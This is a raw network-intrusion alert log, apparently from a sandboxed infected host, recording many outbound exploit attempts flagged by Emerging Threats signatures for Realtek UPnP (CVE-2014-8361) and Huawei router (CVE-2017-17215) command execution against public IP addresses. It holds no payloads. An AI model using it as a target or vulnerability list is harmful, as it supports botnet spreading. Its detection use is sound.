2024-07-20T23:01:21.565676+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41022	52869	192.168.2.23	57.224.40.86
2024-07-20T23:00:59.181164+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35840	37215	192.168.2.23	72.48.156.196
2024-07-20T23:01:18.245434+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42510	37215	192.168.2.23	173.155.49.17
2024-07-20T23:01:00.523287+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41550	37215	192.168.2.23	41.166.159.225
2024-07-20T23:00:59.219743+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48984	37215	192.168.2.23	41.231.235.189
2024-07-20T23:01:21.035713+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36278	52869	192.168.2.23	112.103.96.49
2024-07-20T23:01:19.552023+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42150	52869	192.168.2.23	161.98.32.121
2024-07-20T23:01:08.864629+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40650	52869	192.168.2.23	199.214.91.137
2024-07-20T23:01:19.506605+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45268	52869	192.168.2.23	109.80.210.12
2024-07-20T23:01:00.658201+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42260	37215	192.168.2.23	41.112.123.1
2024-07-20T23:00:59.181164+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48142	37215	192.168.2.23	197.21.129.208
2024-07-20T23:00:59.201033+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33894	37215	192.168.2.23	41.132.20.65
2024-07-20T23:00:59.170219+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33262	37215	192.168.2.23	41.232.172.92
2024-07-20T23:01:18.600721+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55928	37215	192.168.2.23	41.25.193.130
2024-07-20T23:01:18.490939+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36512	37215	192.168.2.23	157.21.67.49
2024-07-20T23:01:21.283272+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49550	52869	192.168.2.23	78.39.181.117
2024-07-20T23:01:21.842450+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49320	52869	192.168.2.23	154.97.74.140
2024-07-20T23:01:20.821142+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57764	52869	192.168.2.23	169.193.81.146
2024-07-20T23:01:00.660317+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46822	37215	192.168.2.23	157.249.16.252
2024-07-20T23:01:02.066021+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35414	37215	192.168.2.23	76.17.111.28
2024-07-20T23:01:18.288852+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34064	37215	192.168.2.23	221.200.167.164
2024-07-20T23:01:00.662825+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35058	37215	192.168.2.23	105.15.118.157
2024-07-20T23:01:20.997029+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40778	52869	192.168.2.23	104.152.150.214
2024-07-20T23:01:00.657714+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56940	37215	192.168.2.23	41.144.198.102
2024-07-20T23:01:21.515296+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34136	52869	192.168.2.23	65.114.239.111
2024-07-20T23:01:22.230051+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54884	52869	192.168.2.23	105.183.167.212
2024-07-20T23:01:21.297208+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58602	52869	192.168.2.23	140.186.145.164
2024-07-20T23:01:02.067656+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42784	37215	192.168.2.23	83.22.51.58
2024-07-20T23:01:05.273692+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35296	52869	192.168.2.23	133.46.67.74
2024-07-20T23:01:18.397835+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33418	37215	192.168.2.23	197.127.202.249
2024-07-20T23:01:21.452762+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58878	52869	192.168.2.23	162.162.162.31
2024-07-20T23:01:00.649623+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60674	37215	192.168.2.23	157.114.148.67
2024-07-20T23:01:19.348834+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51954	52869	192.168.2.23	100.7.167.160
2024-07-20T23:01:21.605490+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39392	37215	192.168.2.23	155.165.181.96
2024-07-20T23:01:02.119631+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49164	37215	192.168.2.23	71.240.106.220
2024-07-20T23:01:00.658630+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34962	37215	192.168.2.23	197.194.243.184
2024-07-20T23:00:59.180699+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45012	37215	192.168.2.23	157.20.27.216
2024-07-20T23:01:00.662825+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60584	37215	192.168.2.23	41.215.110.81
2024-07-20T23:01:21.206624+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53640	52869	192.168.2.23	91.10.179.128
2024-07-20T23:00:59.164966+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53440	37215	192.168.2.23	157.5.83.65
2024-07-20T23:00:59.223718+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44694	37215	192.168.2.23	41.47.64.65
2024-07-20T23:00:59.213565+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57408	37215	192.168.2.23	197.6.34.101
2024-07-20T23:01:00.661486+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46260	37215	192.168.2.23	157.234.41.166
2024-07-20T23:00:59.206164+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60616	37215	192.168.2.23	43.169.90.245
2024-07-20T23:00:59.171003+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52842	37215	192.168.2.23	41.132.51.195
2024-07-20T23:01:00.648489+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42434	37215	192.168.2.23	155.28.185.96
2024-07-20T23:01:00.648489+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41068	37215	192.168.2.23	41.130.229.37
2024-07-20T23:01:00.658298+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42978	37215	192.168.2.23	206.176.8.137
2024-07-20T23:01:20.185305+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55948	37215	192.168.2.23	197.57.93.26
2024-07-20T23:01:21.173231+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43928	52869	192.168.2.23	169.107.25.12
2024-07-20T23:01:02.083467+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36256	37215	192.168.2.23	9.120.239.102
2024-07-20T23:01:00.657714+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54302	37215	192.168.2.23	197.133.25.253
2024-07-20T23:01:14.013297+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42414	37215	192.168.2.23	157.93.68.27
2024-07-20T23:01:21.202996+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38768	37215	192.168.2.23	64.62.112.142
2024-07-20T23:01:00.652845+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34864	37215	192.168.2.23	197.115.124.156
2024-07-20T23:01:18.263044+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41094	37215	192.168.2.23	157.66.238.102
2024-07-20T23:01:19.321782+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43644	52869	192.168.2.23	199.61.238.254
2024-07-20T23:01:25.731945+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57276	52869	192.168.2.23	111.252.253.89
2024-07-20T23:01:00.648489+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39114	37215	192.168.2.23	197.196.77.201
2024-07-20T23:01:20.287563+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55498	52869	192.168.2.23	191.173.38.241
2024-07-20T23:01:00.658298+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53980	37215	192.168.2.23	157.230.88.31
2024-07-20T23:01:18.227280+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59050	37215	192.168.2.23	203.201.15.112
2024-07-20T23:01:21.230536+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46338	52869	192.168.2.23	210.116.25.221
2024-07-20T23:00:59.218459+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47260	37215	192.168.2.23	8.108.207.220
2024-07-20T23:01:02.088869+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42854	37215	192.168.2.23	197.235.3.106
2024-07-20T23:01:18.294530+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47068	37215	192.168.2.23	197.30.15.103
2024-07-20T23:01:19.592314+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44408	52869	192.168.2.23	82.63.31.170
2024-07-20T23:01:21.017864+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43378	52869	192.168.2.23	201.173.108.254
2024-07-20T23:01:22.166592+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57142	52869	192.168.2.23	23.225.3.54
2024-07-20T23:01:22.209396+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33924	52869	192.168.2.23	168.229.219.185
2024-07-20T23:01:20.354087+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51150	52869	192.168.2.23	172.32.160.159
2024-07-20T23:01:00.648916+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47392	37215	192.168.2.23	197.151.222.142
2024-07-20T23:01:00.658298+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50384	37215	192.168.2.23	41.203.224.247
2024-07-20T23:01:22.182200+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37504	52869	192.168.2.23	44.181.179.103
2024-07-20T23:01:21.011580+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48472	52869	192.168.2.23	203.236.42.147
2024-07-20T23:01:21.620060+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43584	52869	192.168.2.23	186.40.176.32
2024-07-20T23:01:02.098963+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60660	37215	192.168.2.23	41.229.154.58
2024-07-20T23:01:21.782825+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37678	52869	192.168.2.23	104.75.200.235
2024-07-20T23:01:19.529672+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41332	52869	192.168.2.23	119.187.229.164
2024-07-20T23:00:59.180699+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37038	37215	192.168.2.23	107.136.23.140
2024-07-20T23:01:18.373821+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49974	37215	192.168.2.23	197.231.189.109
2024-07-20T23:01:18.397150+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52232	37215	192.168.2.23	197.155.27.254
2024-07-20T23:01:18.514803+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57796	37215	192.168.2.23	197.249.133.131
2024-07-20T23:01:21.487846+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43862	52869	192.168.2.23	209.154.77.145
2024-07-20T23:01:09.021221+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59966	52869	192.168.2.23	43.227.14.32
2024-07-20T23:01:09.032669+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54312	52869	192.168.2.23	100.7.167.160
2024-07-20T23:01:18.422111+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55506	37215	192.168.2.23	157.6.221.99
2024-07-20T23:00:59.171003+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52632	37215	192.168.2.23	197.12.37.150
2024-07-20T23:01:19.307476+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42464	52869	192.168.2.23	157.202.7.129
2024-07-20T23:01:19.499297+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43978	52869	192.168.2.23	148.117.206.184
2024-07-20T23:01:00.654988+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34066	37215	192.168.2.23	91.110.161.158
2024-07-20T23:01:18.405069+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36746	37215	192.168.2.23	41.173.160.14
2024-07-20T23:01:20.996287+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33494	52869	192.168.2.23	196.0.98.90
2024-07-20T23:01:21.279589+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44986	52869	192.168.2.23	84.150.128.0
2024-07-20T23:01:21.240867+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36012	52869	192.168.2.23	205.187.52.139
2024-07-20T23:01:21.233858+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60488	52869	192.168.2.23	86.86.67.253
2024-07-20T23:00:59.213565+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47064	37215	192.168.2.23	41.123.9.56
2024-07-20T23:01:22.267601+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42544	52869	192.168.2.23	174.56.72.194
2024-07-20T23:01:19.372914+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60772	52869	192.168.2.23	195.67.134.63
2024-07-20T23:01:09.058270+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54394	52869	192.168.2.23	186.94.179.5
2024-07-20T23:01:21.841200+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42912	37215	192.168.2.23	156.90.210.240
2024-07-20T23:01:20.357609+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35646	52869	192.168.2.23	48.69.126.229
2024-07-20T23:00:59.163619+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33028	37215	192.168.2.23	197.218.184.30
2024-07-20T23:01:21.268418+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53670	52869	192.168.2.23	132.102.141.171
2024-07-20T23:01:19.851927+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47262	52869	192.168.2.23	109.23.172.87
2024-07-20T23:01:21.892196+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46508	37215	192.168.2.23	113.230.74.224
2024-07-20T23:00:59.201033+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34208	37215	192.168.2.23	157.121.143.8
2024-07-20T23:00:59.227554+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43088	37215	192.168.2.23	198.69.140.160
2024-07-20T23:01:21.461356+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52432	52869	192.168.2.23	150.181.42.248
2024-07-20T23:01:19.372044+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35746	52869	192.168.2.23	9.91.73.111
2024-07-20T23:01:00.661808+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36536	37215	192.168.2.23	157.118.19.128
2024-07-20T23:01:18.435833+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57502	37215	192.168.2.23	157.189.184.171
2024-07-20T23:01:21.234188+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54070	37215	192.168.2.23	197.77.47.158
2024-07-20T23:01:00.652845+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57096	37215	192.168.2.23	197.124.34.30
2024-07-20T23:01:18.375075+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52450	37215	192.168.2.23	41.214.240.131
2024-07-20T23:01:20.800833+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51696	52869	192.168.2.23	143.254.34.7
2024-07-20T23:00:59.203030+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34126	37215	192.168.2.23	157.77.213.179
2024-07-20T23:01:21.313692+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41386	52869	192.168.2.23	78.200.30.164
2024-07-20T23:01:18.514803+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34808	37215	192.168.2.23	41.19.255.66
2024-07-20T23:01:22.185191+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55894	52869	192.168.2.23	65.136.207.183
2024-07-20T23:01:04.989471+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59800	52869	192.168.2.23	164.251.43.137
2024-07-20T23:01:19.848902+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47614	52869	192.168.2.23	60.63.234.192
2024-07-20T23:01:02.065822+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37860	37215	192.168.2.23	41.13.208.139
2024-07-20T23:01:09.002255+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59450	52869	192.168.2.23	5.1.90.206
2024-07-20T23:00:59.164966+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60312	37215	192.168.2.23	41.73.125.205
2024-07-20T23:00:59.227759+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40646	37215	192.168.2.23	198.189.132.142
2024-07-20T23:01:22.138831+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38540	52869	192.168.2.23	135.110.213.163
2024-07-20T23:00:59.186953+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37622	37215	192.168.2.23	196.108.213.184
2024-07-20T23:01:02.083467+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54504	37215	192.168.2.23	197.147.196.56
2024-07-20T23:01:21.023643+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57946	52869	192.168.2.23	216.170.33.89
2024-07-20T23:00:59.224296+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37624	37215	192.168.2.23	41.245.116.58
2024-07-20T23:01:20.835540+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52660	52869	192.168.2.23	82.99.109.50
2024-07-20T23:01:00.661486+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52086	37215	192.168.2.23	197.182.113.83
2024-07-20T23:01:21.842478+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60858	52869	192.168.2.23	86.219.42.227
2024-07-20T23:01:20.821142+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51596	52869	192.168.2.23	195.184.165.232
2024-07-20T23:01:18.378526+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32888	37215	192.168.2.23	41.210.186.227
2024-07-20T23:01:23.594181+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54124	52869	192.168.2.23	143.254.34.7
2024-07-20T23:01:04.986374+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33896	52869	192.168.2.23	219.114.72.114
2024-07-20T23:00:59.211994+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50524	37215	192.168.2.23	197.26.114.175
2024-07-20T23:01:18.307062+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48608	37215	192.168.2.23	175.193.29.172
2024-07-20T23:01:21.668534+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50582	52869	192.168.2.23	212.172.247.72
2024-07-20T23:00:59.186953+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58932	37215	192.168.2.23	157.211.77.112
2024-07-20T23:01:02.068477+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55632	37215	192.168.2.23	157.78.46.190
2024-07-20T23:01:09.027075+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43632	52869	192.168.2.23	188.92.250.125
2024-07-20T23:01:22.245977+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44980	52869	192.168.2.23	103.179.244.2
2024-07-20T23:01:18.612017+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36772	37215	192.168.2.23	182.102.31.222
2024-07-20T23:01:02.088869+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54992	37215	192.168.2.23	41.134.147.250
2024-07-20T23:01:19.455768+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41252	52869	192.168.2.23	188.92.250.125
2024-07-20T23:01:21.527399+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52042	52869	192.168.2.23	75.16.13.92
2024-07-20T23:00:59.164966+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59582	37215	192.168.2.23	41.138.150.155
2024-07-20T23:01:18.495841+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51548	37215	192.168.2.23	172.101.164.72
2024-07-20T23:01:18.312878+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43126	37215	192.168.2.23	197.4.26.126
2024-07-20T23:01:19.566537+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41034	52869	192.168.2.23	193.14.204.18
2024-07-20T23:01:19.636409+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54970	52869	192.168.2.23	176.229.44.248
2024-07-20T23:01:19.307325+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38296	52869	192.168.2.23	199.214.91.137
2024-07-20T23:01:20.810328+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50442	52869	192.168.2.23	4.194.116.48
2024-07-20T23:01:18.397151+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43520	37215	192.168.2.23	61.117.29.155
2024-07-20T23:00:59.231512+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58330	37215	192.168.2.23	41.128.110.44
2024-07-20T23:01:21.267821+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55002	52869	192.168.2.23	144.0.5.154
